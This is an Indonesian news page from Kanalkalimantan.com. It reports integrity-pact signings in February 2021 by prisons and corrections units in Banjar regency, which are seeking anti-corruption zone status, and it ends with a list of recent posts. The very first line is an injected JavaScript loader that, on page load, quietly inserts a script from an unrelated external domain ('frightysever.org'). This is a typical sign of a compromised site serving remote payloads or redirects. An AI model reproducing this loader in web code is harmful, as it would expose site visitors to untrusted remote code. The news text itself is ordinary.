(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Lapas Karang Intan dan Satker Pemasyarakatan Banjar Target Zona Integritas Bebas Korupsi


KANALKALIMANTAN.COM, MARTAPURA – Lapas Narkotika Kelas IIA Karang Intan lakukan penandatanganan pakta integritas bagi Satuan Kerja Pemasyarakatan di Kabupaten Banjar. Tidak hanya Lapas Narkotika Kelas IIA Karang Intan, saja, Lapas Perempuan Kelas IIA Martapura dan Lembaga Pembinaan Khusus Anak Kelas I Martapura, pun juga ikut serta.

Langkah tersebut sebagai upaya membangun zona integritas menuju Wilayah Bebas dari Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM) di lingkungan Kantor Wilayah Kementerian Hukum dan HAM Kalimantan Selatan.

Kegiatan digelar di halaman Lapas Karang Intan, Rabu (10/2/2021), dihadiri Kepala Kantor Wilayah Kementerian Hukum dan HAM Kalimantan Selatan, Tejo Harwanto yang diwakili oleh pelaksana tugas harian, Teodorus Simarmata.Ketua Ombudsman Kalsel Hadi Rahman, Kepala Kejaksaan Negeri Martapura, Kapolres Banjar, Kepala BNNK Banjarbaru dan Camat Karang Intan.

Kalapas Narkotika Kelas IIA Karang Intan, Wahyu Susetyo mengungkapkan, deklarasi janji kinerja ini penting dilakukan, dalam proses pembangunan zona integritas mewujudkan satuan kerja berpredikat WBK 2021.

“Kegiatan deklarasi janji kinerja yang Kita lakukan hari ini, merupakan kegiatan yang sangat penting, karena kegiatan ini menjadi salah satu syarat, dalam proses yang harus kita lalui untuk mendapatkan predikat WBK WBBM,” bebernya.

Sementara Kepala Ombudsman RI Perwakilan Kalimantan Selatan, Hadi Rahman dalam sambutannya, proses yang dilalui untuk mendapatkan predikat WBK masih panjang, dengan memenuhi faktor pengungkit dan hasil sehingga didapatkan predikat WBK tersebut.

“Proses dan tahapan ini masih panjang, masih banyak proses yang harus dilalui, paling tidak ada dua komponen yang ditetapkan dalam aturan ini, yakni komponen pengungkit dan komponen hasil, komponen pengungkit ada 6 program, komponen hasil ada 2 program, sehingga menghasilkan layanan publik yang semakin baik dan praktik-praktik mal administrasi, ataupun korupsi, kolusi dan nepotisme semakin berkurang,” tuturnya.

Sementara Teodorus Simarmata pada sambutannya meminta agar melakukan internalisasi kepada seluruh jajaran pada satuan kerja masing-masing.

“Ketiga Ka Satker, agar segera menginternalisasikan kepada jajarannya, pencanangan WBK tidak hanya ceremony belaka, dan selamat memasuki kontestasi di 2021. Banyak hal yang harus Kita laksanakan dan ini baru tahap awal, perlu kerja keras, upaya dan suarakan apa yang telah kita buat,” pungkasnya. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

7 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

10 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

16 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

16 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

19 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.